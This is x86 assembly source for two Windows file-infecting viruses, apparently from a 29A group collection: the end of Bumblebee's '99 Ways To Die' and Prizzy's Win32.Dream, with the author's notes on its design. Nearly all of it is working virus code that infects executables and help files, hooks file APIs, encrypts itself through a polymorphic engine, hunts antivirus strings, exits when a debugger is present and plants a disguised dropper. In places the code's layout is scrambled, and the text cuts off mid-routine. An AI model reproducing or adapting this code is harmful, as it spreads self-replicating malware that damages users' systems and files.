storeCountdown: mov word ptr [countdown+ebp],ax lea mov call mov xor lea mov mov rep mov mov add mov encrptLoop: xor test jz mov not add crptNoSADD: test jz esi,vBegin+ebp edi,vSize-4 CRC32 dword ptr [myCRC32+ebp],eax dword ptr [hostRET+ebp],eax esi,vBegin+ebp edi,dword ptr [memHnd+ebp] ecx,vSize movsb ecx,dword ptr [CodeSize+ebp] esi,5 esi,dword ptr [memHnd+ebp] eax,dword ptr [CrptKey+ebp] dword ptr [esi],eax byte ptr [CrptFlags+ebp],F_SADD ; slide add? crptNoSADD edx,dword ptr [CrptKey+ebp] edx eax,edx byte ptr [CrptFlags+ebp],F_SSUB ; slide sub? crptNoSSUB ; update integrity check ; using CRC32

; hide hostEP ; copy virus body

; encrypt virus body

mov edx,dword ptr [CrptKey+ebp] rol edx,4 sub eax,edx crptNoSSUB: add esi,4 loop encrptLoop ret ; ; [99WATLEN] 99 WAys To Lame ENgine ; ; This is the lame poly engine of this time :( ; It's only a way to not put fixed decryptors... ; Notice it doesn't add garbage instructions. ; ; EAX: CrptKey

; ECX: CodeSize ; EDI: Destination address ; ; returns EAX: size of generated proc ; ; <KeyReg>: eax edx ebx ecx esi edi ; <CouReg>: eax edx ebx ecx esi edi - { <KeyReg> } ; <*Imm32>: Random immediate value ; ?? op ??: Op could be here (or not ;) ; ; push ebp ; mov ebp,esp ; push <KeyReg> ; push <CouReg> ; mov <KeyReg>,<KeyImm32> ; mov <CouReg>,<KeyImm32> ; mov ebp,[ebp+4] ;theloop: ; xor [ebp],<KeyReg> ; ?? add <KeyReg>,<SlideUpImm32> ?? ; ?? sub <KeyReg>,<SlideDownImm32> ?? ; add ebp,4 ; sub <CouReg>,1 ; jne theloop ; pop <CouReg> ; pop <KeyReg> ; pop ebp ; ret ; GenDCrpt: pushad ; setup regs status xor eax,eax lea edi,RegStatus+ebp mov ecx,9 rep stosb popad mov byte ptr [RegStatus+ebp+_EBP],1 mov byte ptr [RegStatus+ebp+_ESP],1 mov dword ptr [CrptKey+ebp],eax mov dword ptr [CodeSize+ebp],ecx mov byte ptr [CrptFlags+ebp],al xor byte ptr [CrptFlags+ebp],ah xor push mov call mov stosw call mov mov call call mov mov call eax,eax edi cl,_EBP AddPushREG ax,0ec8bh

GetReg byte ptr [KeyReg+ebp],al cl,al AddPushREG GetReg byte ptr [LoopReg+ebp],al cl,al AddPushREG

mov mov call mov mov call mov mov call push mov call test jz mov mov not call noSADD: test jz mov mov rol call noSSUB: mov mov call mov mov call pop mov sub push mov stosb pop mov xchg sub stosb mov call mov call mov

cl,byte ptr [KeyReg+ebp] edx,dword ptr [CrptKey+ebp] AddMovREGINM cl,byte ptr [LoopReg+ebp] edx,dword ptr [CodeSize+ebp] AddMovREGINM edx,04h cl,_EBP AddMovREGMEMEBP edi cl,byte ptr [KeyReg+ebp] AddXorMEMEBPREG byte ptr [CrptFlags+ebp],F_SADD noSADD cl,byte ptr [KeyReg+ebp] edx,dword ptr [CrptKey+ebp] edx AddAddREGINM

byte ptr [CrptFlags+ebp],F_SSUB noSSUB cl,byte ptr [KeyReg+ebp] edx,dword ptr [CrptKey+ebp] edx,4 AddSubREGINM

cl,_EBP edx,04h AddAddREGINM cl,byte ptr [LoopReg+ebp] edx,1 AddSubREGINM ebx eax,edi eax,ebx eax al,75h eax ah,0feh al,ah al,ah

cl,byte ptr [LoopReg+ebp] AddPopREG al,byte ptr [LoopReg+ebp] FreeReg cl,byte ptr [KeyReg+ebp]

call mov call mov stosb pop sub mov ret

AddPopREG cl,_EBP AddPopREG al,0c3h

esi edi,esi eax,edi

; ; Poly engine data ; _EAX equ 0 _ECX equ 1 _EDX equ 2 _EBX equ 3 _ESP equ 4 _EBP equ 5 _ESI equ 6 _EDI equ 7 F_SADD equ 1 or 4 F_SSUB equ 2 or 4 RegStatus db CrptFlags db KeyReg db LoopReg db CrptKey dd CodeSize dd

8 dup(0) 0 0 0 0 0

; ; returns AL: selected register ; GetReg: xor eax,eax mov al,byte ptr [CrptKey+ebp] GetReg1: and al,7 lea ecx,RegStatus+ebp add ecx,eax mov dl,byte ptr [ecx] or dl,dl jz GetReg0 inc al jmp GetReg1 GetReg0: mov byte ptr [ecx],1 ret ; ; AL: selected ; FreeReg: and lea add mov ret ;

register to free

eax,7 ecx,RegStatus+ebp ecx,eax byte ptr [ecx],0

; ; ; ; ; ;

Instruction generators EDI: Destination code ECX: Reg (if applicable) EDX: Inm (if applicable)

AddPushREG: mov add stosb ret AddPopREG: mov add stosb ret AddMovREGINM: mov add stosb mov stosd ret

al,050h al,cl

al,058h al,cl

al,0b8h al,cl eax,edx

AddMovREGMEMEBP: mov al,08bh stosb mov al,08h mul cl add al,85h stosb mov eax,edx stosd ret AddXorMEMEBPREG: mov al,031h stosb mov al,08h mul cl add al,45h stosb xor al,al stosb ret AddAddREGINM: or jnz mov stosb jmp AddAddREGINM0: mov stosb mov add stosb AddAddREGINM1: mov

cl,cl AddAddREGINM0 al,05h AddAddREGINM1 al,081h al,0c0h al,cl

eax,edx

stosd ret AddSubREGINM: or cl,cl jnz AddSubREGINM0 mov al,2dh stosb jmp AddSubREGINM1 AddSubREGINM0: mov al,081h stosb mov al,0e8h add al,cl stosb AddSubREGINM1: mov eax,edx stosd ret ; ; This is our func that does the partial check sum of the file. I know it ; must be improved... but i'm so lazy :( (still lazy) ; ; in: ecx (fileSize+1) shr 2 ; esi offset mappedFile ; ; out: eax partial checksum of file ; CheckSumMappedFile: push esi xor eax, eax shl ecx, 1 je func0_saltito0 test esi, 00000002h je func0_saltito1 sub edx, edx mov dx, word ptr [esi] add eax, edx adc eax, 00000000h add esi, 00000002h sub ecx, 00000002h func0_saltito1: mov and sub je test je add adc adc add sub je func0_saltito3: test je add adc adc adc

edx, ecx edx, 00000007h ecx, edx func0_saltito2 ecx, 00000008h func0_saltito3 eax, dword ptr [esi] eax, dword ptr [esi+04h] eax, 00000000h esi, 00000008h ecx, 00000008h func0_saltito2

ecx, 00000010h func0_saltito4 eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr

[esi] [esi+04h] [esi+08h] [esi+0Ch]

adc add sub je

eax, 00000000h esi, 00000010h ecx, 00000010h func0_saltito2

func0_saltito4: test ecx, 00000020h je func0_saltito5 add eax, dword ptr [esi] adc adc adc adc adc adc adc adc add sub je eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, 00000000h esi, 00000020h ecx, 00000020h func0_saltito2 [esi+04h] [esi+08h] [esi+0Ch] [esi+10h] [esi+14h] [esi+18h] [esi+1Ch]

func0_saltito5: test ecx, 00000040h je func0_saltito6 add eax, dword ptr [esi] adc adc adc adc adc adc adc adc adc adc adc adc adc adc adc adc add sub je eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, 00000000h esi, 00000040h ecx, 00000040h func0_saltito2 [esi+04h] [esi+08h] [esi+0Ch] [esi+10h] [esi+14h] [esi+18h] [esi+1Ch] [esi+20h] [esi+24h] [esi+28h] [esi+2Ch] [esi+30h] [esi+34h] [esi+38h] [esi+3Ch]

func0_saltito6: add eax, dword ptr [esi] adc adc adc adc adc adc adc adc adc adc adc adc adc eax, eax, eax, eax, eax, eax, eax, eax, eax, eax, eax, eax, eax, dword dword dword dword dword dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr [esi+04h] [esi+08h] [esi+0Ch] [esi+10h] [esi+14h] [esi+18h] [esi+1Ch] [esi+20h] [esi+24h] [esi+28h] [esi+2Ch] [esi+30h] [esi+34h]

adc adc adc adc adc adc adc adc adc adc adc adc adc adc adc adc adc adc adc add sub jne

eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, dword ptr eax, 00000000h esi, 00000080h ecx, 00000080h func0_saltito6

[esi+38h] [esi+3Ch] [esi+40h] [esi+44h] [esi+48h] [esi+4Ch] [esi+50h] [esi+54h] [esi+58h] [esi+5Ch] [esi+60h] [esi+64h] [esi+68h] [esi+6Ch] [esi+70h] [esi+74h] [esi+78h] [esi+7Ch]

func0_saltito2: test edx, edx je func0_saltito0 func0_saltito7: sub mov add adc add sub jne

ecx, ecx cx, word ptr [esi] eax, ecx eax, 00000000h esi, 00000002h edx, 00000002h func0_saltito7

func0_saltito0: mov edx, eax shr edx, 10h and eax, 0000FFFFh add eax, edx mov edx, eax shr edx, 10h add eax, edx and eax, 0000FFFFh pop esi ret ; ; Virus data --------------------------------------------------------------; HOOKTABLEBEGIN label byte dd offset _CreateFileA dd offset Hook0 dd offset _MoveFileA dd offset Hook1 dd offset _CopyFileA dd offset Hook2 dd offset _CreateProcessA dd offset Hook3 dd offset _SetFileAttributesA dd offset Hook4 dd offset _GetFileAttributesA dd offset Hook5

HOOKTABLEEND FSTAPI CrcCreateFileA _CreateFileA CrcMapViewOfFile _MapViewOfFile

dd dd dd dd label

offset offset offset offset byte label dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd

_SearchPathA Hook6 _SetCurrentDirectoryA Hook7

byte 08c892ddfh 12 0 0797b49ech 14 0 096b2d96ch 19 0 094524b42h 16 0 068624a9dh 12 0 0ae17ebefh 15 0 0aa700106h 14 0 0c200be21h 10 0 04402890eh 13 0 0613fd7bah 13 0 04434e8feh 12 0 04b2a3e7dh 12 0 03c19e536h 19 0 0c633d3deh 19 0

CrcCreatFileMappingA _CreateFileMappingA CrcUnmapViewOfFile _UnmapViewOfFile CrcCloseHandle _CloseHandle CrcFindFirstFileA _FindFirstFileA CrcFindNextFileA _FindNextFileA CrcFindClose _FindClose CrcVirtualAlloc _VirtualAlloc CrcGetTickCount _GetTickCount CrcGetFileTime _GetFileTime CrcSetFileTime _SetFileTime CrcSetFileAttributesA _SetFileAttributesA CrcGetFileAttributesA _GetFileAttributesA

CrcGetFileSize _GetFileSize CrcGetSystemTime _GetSystemTime CrcMoveFileA _MoveFileA CrcCopyFileA _CopyFileA CrcCreateProcessA _CreateProcessA CrcSearchPathA _SearchPathA

dd db dd dd db dd dd db dd dd db dd dd db dd dd db dd

0ef7d811bh 12 0 075b7ebe8h 14 0 02308923fh 10 0 05bd05db1h 10 0 0267e0b05h 15 0 0f4d9d033h 12 0 0ebc6c18bh 21 0 0b2dbd7dch 21 0

CrcGetCurrentDirectoryA dd db _GetCurrentDirectoryA dd CrcSetCurrentDirectoryA dd db _SetCurrentDirectoryA dd

CrcGetWindowsDirectoryA dd 0fe248274h db 21 _GetWindowsDirectoryA dd 0 ENDAPI label byte ; AV: AVP, PAV, NAV, ... ; AN: SCAN, VISUSSCAN, ... ; DR: DRWEB ; ID: SPIDER ; OD: NOD-ICE ; TB: THUNDERBYTE... (this still exists?) ; F-: F-PROT, ... avStrings dw 'VA','NA','RD','DI','DO','BT','-F' vStringsCout equ (offset $-offset avStrings)/2 fndMask db '*.*',0 copyright db '< 99 Ways To Die Coded by Bumblebee/29a >'

; Following value cannot be included in self check CRC32... myCRC32 dd 0 vEnd label byte ; ; virus ENDS HERE ; crypt: ; ; Temp data. Not stored into the file, only 1st generation. ; BUFFERBEGIN label byte stringBuffer: ret db STRINGTOP-1 dup(0) tmpPath db STRINGTOP dup(0)

currentPath address names ordinals nexports expcount memHnd fHnd fhmap mapMem infCount fileSize fileAttrib fileTime0 fileTime1 fileTime2 pad fNameAddr gensize myRVA fstSec find_data findHnd semHook EPORva EPOAddr dateTime payload pchcks BUFFEREND BUFFERSIZE ; ; Fake host for ; fakeHost: push title: @strz mess: @strz push call push call

db dd dd dd dd dd dd dd dd dd db

STRINGTOP dup(0) 0 0 0 0 0 0 0 0 0 0

dd 0 dd 0 dd 0,0 dd 0,0 dd 0,0 dd 0 dd 0 dd 0 dd 0 dd 0 WIN32_FIND_DATA <0> dd 0 db 0 dd 0 dd 0 db 16 dup(0) db 0 dw 0 label byte equ BUFFEREND-BUFFERBEGIN

1st generation

1000h "(C) 2000 Bumblebee/29a" "99 Ways To Die activated. Have a nice day." 0h MessageBoxA 0h ExitProcess

Ends End inicio ; ; hi sweet! ; ; ' the preacher said, richer or poorer ; my mama said, thick or thin ; you can kiss me, baby ; when it's time to get thick again ' ; ;

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÍÍÍÍÍÍÍÍÄÄÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÍÍÍÍÍÍÍÍÄÄ¿ : Prizzy/29A : Win32.Dream : Prizzy/29A : ÀÄÄÍÍÍÍÍÍÍÍÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÍÍÍÍÍÍÍÍÄÄÙ Hello people, here is my third virus especially when it is designed for whole Win32 platform. It infects only EXE (PE - Portable Executable) files and also HLP (Windows Help File Format). When infected EXE file is started, EIP goes through my easy polymorphic engine, which isn't so important in this virus, then hooks CreateFileA function, installs itself into memory and only then it can put EIP to the host - there're two returns, one for EXE the other for HLP files. With might and mind I wanted to use only it the best from new high-tech vx methods we know. And I think is nothing worst than virus equipped of interprocess communication (IPC). I also changed my coding style and this source is most optimization as I could.

Detailed Information ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

1. Interprocess Communication (IPC) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You could see one IPC virus (Vulcano) by Benny/29A but I used this feature other way than he. His IPC virus is only in one process and it can communicate with others viruses in another process. The parts of my Win32.Dream virus work in several processes and in fact it behades like one whole virus. After installing to memory, virus will remove itself from memory of the infected program.

1.1. Creating processes ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This virus is divided into seven 'independent' functions which have own process. To create new process I would build a dropper and via the CreateProcessA I would run them. The dropper wait than new function for its process is ready, if yes, it shares two mapped blocks (OpenFileMappingA) for that process (it's Global memory and Function's body) and creates thread on the function. The process can't terminate it can only Sleep. All created processed are hiden in Windows 95, not in WinNT/2k (is't more complex).

1.2. IPC in action ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Hooked CreateFileA functions retrieves control, sets flag for certain process and awakes its. That process finishes own task and returns results.

1.3. Global memory ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's necessary to share some important information among all processes. There are: + [thandle] : When the dropper will create new thread here is returned handle. It indicates the thread's errorcode.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

+ [th_mempos] : Here is stored the name of the Function's mapped object. The dropper will open that memory area. + [process] : hProcess, ProcessID values of the all created processes because of opening/runing them. + [apiz] : The addresses of the all APIz I call are on this place. + [active] : If other process wants to run me, sets certain flag here and the thread tests it. + [paramz] : This is place where the virus store some parameters among processes (see below). + [vbody] : Here is the copy of the virus, useful for changing values inside and for poly engine. + [filename] : The future infected filename. New CreateFileA function stores the name here. + [cinfected] : Two FPU memory buffers, one for creating of the infection mark the other for checking. + [poly_vbody] : Output from polymorphic engine.

1.4. Parameters ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ As I wrote above I have to get some parameters of the input processes. Here is the description of them: + + + + param] : Out of polymorhpic engine, the new size of the virus param] : Filesize for checksum (+poly size yet). param] : The name of the mapped file (for OpenFileMappingA). param] : a. Filesize for check_infected (without poly size). b. Out of checksum. + [5th param] : Input for check_infected, if '1', then it wants to get an angle for create_infected. + [6th param] : Terminate all processes ? (WinNT/2000 only) + [7th param] : Terminate all processes ? (Win95/98 only) (because of Win95/98 kernel bug) [1st [2nd [3rd [4th

1.5. Termination of the all processes ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I remember it was a nut for me but of course I'd to solve it. At first I changed flags of the process (SetErrorMode, it means, the process 'll not show any message box if it will do bad instructions), then I had to check if the host lives yet. In Win95/98 I have discovered a kernel bug so that I couldn't use WinNT version (OpenProcess) to check if the host still exists because Win95/98 don't delete its process id handle. Win95 - you can only read some value the from allocated memory by host. WinNT - that allocated memory is opened by other process, you can't identify if the host still exists.

1.6. The scheme of the all processes ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ» ³ new CreateFileA API function ³ ÈÍÄÄÄÄÑÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼ ³ ÉÍÄUSÄÄÄÄÄÄÄÄÄÄÄÍ» ³ infect file ³ ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ» ÈÍÄÑÄÄÄÄÄÄÄÄÄÄÄͼ ÚÄÄÄDLE infect HLP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼ ³ ³ ÉÍÄÄÄÄÄÄÄÄÍ»

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

³ º º ÚÄÄDLE [check_infected] ³ ³ ÃÄÄÄÄBELÄÄÄÙ ³ ³ infect ÃÄÄÄÄÅÄÄÄÄÄÄDLE [poly_engine] ÀÄÄÄDLE ³ ³ ³ EXE ÃÄÄÄÄÅÄÄÄÄÄÄDLE [create_infected] ³ ÃÄÄÄÄBELÄÄÄ¿ º º ÀÄÄDLE [checksum] ÈÍÄÄÄÄÄÄÄÄļ

2. Optimalization and comments ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sometimes I heard my last virus Win32.Crypto is too huge and also some people had a fun from me (benny, mort - gotcha bastards!) that my next virus will be bigger than one megabyte. I wanted to optimize next one and I've not told them it so I think it'll be surprise for them I proved. Nevertheless I've a taste of the second side and now I can return myself without any major problems. But now I can say the virus is more optimization than benny's bits and pieces. The source code is not commented enough because I think no many people will taste something like IPC is. If yes, they can contact me.

3. Check infected routine ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Long ago in Win32.Crypto I tasted to use unique math technique how to check if the file is infected. Now I thought up new more complex way. At first from infected file I'll compile the equation, for example: y = 32*x^7 + 192*x^3 - 8212*x^5 - 72*x and I'll get two points on that curve, for example x1=4 and x2=7. Then I will calculate what angle is between the tangents to the curve from that two points, it means: I have to calculate derivation y' of that equation and if I know y=x1 and y=x2 then I will determine: & = arc tg | log(x1 - x2) - log(1 + x1*x2) | If the angle will be greater e.g. than 75 degree, file is infected. This algorithm has been coded only for fun so that I know we've methods but I couldn't call to remembrance on any. easier

4. Pearls behind the scene ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ * Only two weeks before release I've think the virus name up at last. * At a time, during coding, I stopped writing and this virus I haven't coded for two months. Later when I started again I couldn't remember what that code does and so on. * In present exists over than fifty backup copies. * The worst part of the virus was the dropper, there were many changes because of Win9x and WinNT compatibility; many bugs were there. * After a hour of the coding I unwillingly deleted new version. So that I'd to save more than one gigabytes from FAT32 on another hard disk. Only there I found that lost version. * The best thing I like on the whole virus is main comment. * Working directory was 'E:\X_WIN\' and this file name was 'WIN.AS!'. * Last week I was looking for help on mirc <prizzy> i used also OpenFileMapping, but I think yes; if ... <Bumblebee> mmm <Bumblebee> OpenFileMapping? <prizzy> yes :) <Bumblebee> i've never used it [bumble~1.log, 18:59:17] ...but much help I haven't found there (although Bumblebee helped me with another bug). * During whole coding I've read five books and three film scripts.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

5. List of greetings ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Darkman The master of the good optimistic mood Bumblebee Thanks for your help during coding Billy Belcebu So, our communication has started yet GriYo All the time busy man Lord Julus Waiting for your new virus and its meta engine Mort So did you think this source will be bigger then one megabytes? Sorry, maybe later :). J.P. I look forward on future with you, dude. Ratter No, no. Stop reading and let you show us what you are hiding inside. VirusBuster Here is that secret bin with savage poly engine as you wrote on #virus. Benny It the best in the end, benny. Haha, at last this source is optimized and you will stop to worry me. Thanks for all you have e'er done for me. ...and for flush, asmodeus, mlapse, mgl, f0re and evul.

6. Contact me ÄÄÄÄÄÄÄÄÄÄÄÄÄ prizzy@coderz.net http://prizzy.cjb.net

(c)oded by Prizzy/29A, June 2000

.486p .model flat,STDCALL locals include include\mz.inc include include\pe.inc extrn extrn extrn ExitProcess:proc CreateFileA:proc MessageBoxA:proc

;ÄÄÄ´ prepare to program start ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .data db .code ;ÄÄÄ´ virus code starts here ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ vstart proc pusha call $+5 pop ebp sub ebp,$-vstart-1 ;get delta vsize equ file_end - vstart mov eax,[esp+vsize+32] sub eax,1000h inf_ep equ $-4 mov [ebp+ha_module-vstart],eax add eax,fg0 - vstart + 1000h org_ep equ $-4 ;get startup address ?

push eax call get_k32_apis jmp __return @anti_e: call kill_st call check_resident ;try to create it call create_process_maps .if byte ptr [ebp+error-vstart] == 0 call hookapi .endif __return: pop dword ptr [esp+28] popa sub esp,-vsize-4 db 90h,90h jmp eax ;exe back xor eax,eax ;hlp back ret 8 vstart endp get_k32_apis proc push 20 mov eax,[esp+vsize+48] ;find k32 address sub ax,ax pop ecx @@1:.if word ptr [eax] != 'ZM' sub eax,65536 loop @@1 jmp gk32a_f_a .endif cmp byte ptr [ebp+__return+11-vstart],90h jz $+5 pop eax jmp __return push eax eax ;get k32 tables add eax,[eax+60] pop ebx edi add ebx,[eax+78h] mov cl,0 @@3:push ebx ecx mov edx,[ebx+32] add edx,edi @@4:mov esi,[edx] ;calculate next crc32 func. add esi,edi push ecx edx ebx ;crc32 algorithm stc sbb ecx,ecx mov edx,ecx @@4_crc32_nByte: sub eax,eax sub ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 @@4_crc32_nBit: shr bx,1 rcr ax,1 jnc @@4_crc32_no xor ax,08320h

xor bx,0edb8h @@4_crc32_no: dec dh jnz @@4_crc32_nBit xor ecx,eax xor edx,ebx cmp byte ptr [esi-1],0 jnz @@4_crc32_nByte @@4_crc32_fin: not edx not ecx pop ebx mov eax,edx rol eax,16 mov ax,cx pop edx ecx cmp [ebp+k32_crcs+ecx*4-vstart],eax ;crc32 == my func ? jz @@5 sub edx,-4 jmp @@4 gk32a_f_a: jmp gk32a_f @@3_a: jmp @@3 @@5:sub edx,[ebx+32] ;get addr of the new func. sub edx,edi shr edx,1 add edx,[ebx+36] add edx,edi movzx edx,word ptr [edx] shl edx,2 add edx,[ebx+28] mov edx,[edx+edi] add edx,edi pop ecx ebx movzx eax,word ptr [ebp+ecx*2+k32_addrs-vstart] neg ax mov [ebp+eax],edx ;store its @@5a:inc ecx mov eax,edi rol eax,8 sub al,0BFh jz @@5b cmp ecx,14 jz @@5a @@5b:cmp ecx,count jnz @@3_a push p_number+1 ;update Sleep function pop ecx @@6:movzx eax,word ptr [ebp+process_maps+ecx*2-vstart-2] neg ax mov [ebp+eax+2],edx @@7:loop @@6 test al,0C3h gk32a_f equ $-1 pop eax push cs ;anti-emulator lea eax,[ebp+@anti_e-vstart] push eax retf get_k32_apis endp kill_st proc

call @sNT+10 @s95:db '\\.\SICE',0 ;name drivers @sNT:db '\\.\NTICE',0 pop ebx call open_file ;open SoftICE 95/98 or jz @ks_nt ; SoftICE NT/2k driver dec eax push eax mov eax,0 lpCloseHandle equ $-4 call eax jmp @ks_kill ;kill process @ks_nt: sub ebx,@s95-@sNT ;open the second driver call open_file jz @ks_dos dec eax call [ebp+lpCloseHandle-vstart] @ks_kill: push eax mov eax,0 lpExitProcess equ $-4 call eax @ks_dos: cmp dword ptr fs:[32],0 ;TD32 etc. jnz @ks_kill ret open_always_file: sub eax,eax ;create file always push eax ;useful for droppers mov cl,80h push ecx 2 jmp $+8 open_file: sub eax,eax ;open file in ebx push eax edx 3 cdq mov dl,0C0h bswap edx push eax eax edx ebx mov eax,0 lpCreateFile equ $-4 call eax inc eax ret kill_st endp check_resident proc push ebp 1 0 mov eax,0 lpCreateMutexA equ $-4 call eax xchg eax,ebx mov eax,0 lpGetLastError equ $-4 call eax xchg eax,esi or esi,esi jz @cr_f push ebx mov eax,0 lpReleaseMutex equ $-4

;create mutex or get if it ;has been created => in mem

call eax @cr_f:or esi,esi pop eax jnz __return jmp eax check_resident endp create_process_maps proc mov byte ptr [ebp+error-vstart],1 call build_dropper ;create dropper in sys dir jc cpm_fnodeal mov eax,0 lpGetCurrentProcessId equ $-4 call eax mov [ebp+if_parent-vstart],eax sub ebx,ebx push 80h cpm_shared_mem equ $-4 push 7 mov eax,0 lpSetErrorMode equ $-4 call eax pop ecx lea edi,[ecx+vbody] push ecx mov esi,ebp mov ecx,vsize rep movsb cpm_nxproc: pop eax lea edi,[eax+8+ebx*8] push eax mov [eax],edi call @@1 dd 0,0,0,0 ;hProc, hThr, ProcID, ThrID @@1:pop esi lea eax,[ebp+vsize] push esi eax 68 pop ecx @@1a:mov [eax],ch inc eax loop @@1a push ecx ecx 640 1 ecx ecx 80h ecx cpm_cmdline equ $-5 inc ecx mov dword ptr [eax-6*4],ecx mov eax,0 lpCreateProcessA equ $-4 call eax or eax,eax jz cpm_failed lodsd ;get hProcess and ProcessID stosd lodsd lodsd mov edx,eax stosd movzx esi,word ptr [ebp+process_maps+ebx*2-vstart] neg si add esi,ebp movzx ecx,word ptr [esi-2] mov eax,4096 call malloc

xchg eax,edi rep movsb ;copy one to mem pop esi push esi movzx eax,byte ptr [ebp+m_sign-2-vstart] mov [esi+4],eax ;thread memory sign mov [esi],ecx ;active flag push esi count-2 lea edi,[esi+apiz] lea esi,[ebp+k32_addrs-vstart] pop ecx @@2:sub eax,eax lodsw neg ax mov eax,[ebp+eax] stosd loop @@2 pop esi push edx ecx 1F0FFFh mov eax,0 lpRegisterServiceProcess equ $-4 or eax,eax jz cpm_winnt push 1 edx call eax cpm_winnt: mov eax,0 lpOpenProcess equ $-4 ;create inside thread from call eax ;the dropper xchg eax,ecx jecxz cpm_failed mov edx,0 lpWaitForSingleObject equ $-4 call edx, ecx, 40 lodsd not eax xchg eax,ecx jecxz cpm_failed inc ebx cmp bl,p_number jnz cpm_nxproc mov al,bh ;remove the virus from the mov ecx,(mem_end - newCreateFile) ;current file, live on the lea edi,[ebp+newCreateFile-vstart] ;other places inside win32 rep stosb mov byte ptr [ebp+error-vstart],cl cpm_failed: pop eax or ebx,ebx jnz cpm_fnodeal call mdealloc cpm_fnodeal: mov eax,[ebp+cpm_cmdline-vstart] mdealloc: push eax ;deallocate shared memory mov eax,0 lpUnMapViewOfFile equ $-4 call eax ret error db 0 create_process_maps endp build_dropper proc

mov eax,260 ;generate dropper filename call malloc mov [ebp+cpm_cmdline-vstart],eax mov edi,eax push 7Fh eax ;no more then 0x80 chars mov eax,0 lpGetSystemDirectory equ $-4 call eax ;get system directory or eax,eax jz bd_failed call bd_fname db '\mshrip32.dll',0 ;hmmm, my dropper name bd_fname: pop esi push 14 mov ebx,edi add edi,eax pop ecx rep movsb call open_always_file ;create its jz bd_failed dec eax push eax mov esi,1024 ;alloc memory for dropper call malloc xchg eax,edi ;edi=output, all is zero mov eax,60000 push edi lea esi,[ebp+dropper_data-vstart] call malloc xchg ebx,eax mov [ebp+cpm_shared_mem-vstart],ebx mov eax,0 lpGetVersion equ $-4 call eax xor ecx,ecx bt eax,63 adc edi,ecx mov [ebx+paramz+(7-1)*4],edi pop edi push edi mov al,[ebp+m_sign-2-vstart] mov [esi+224],al ;noone knows what is it bd_read: ;create EXE PE dropper xor eax,eax lodsb cmp al,-1 ;end of data? jz bd_done add edi,eax ;next movement lodsb xchg eax,ecx 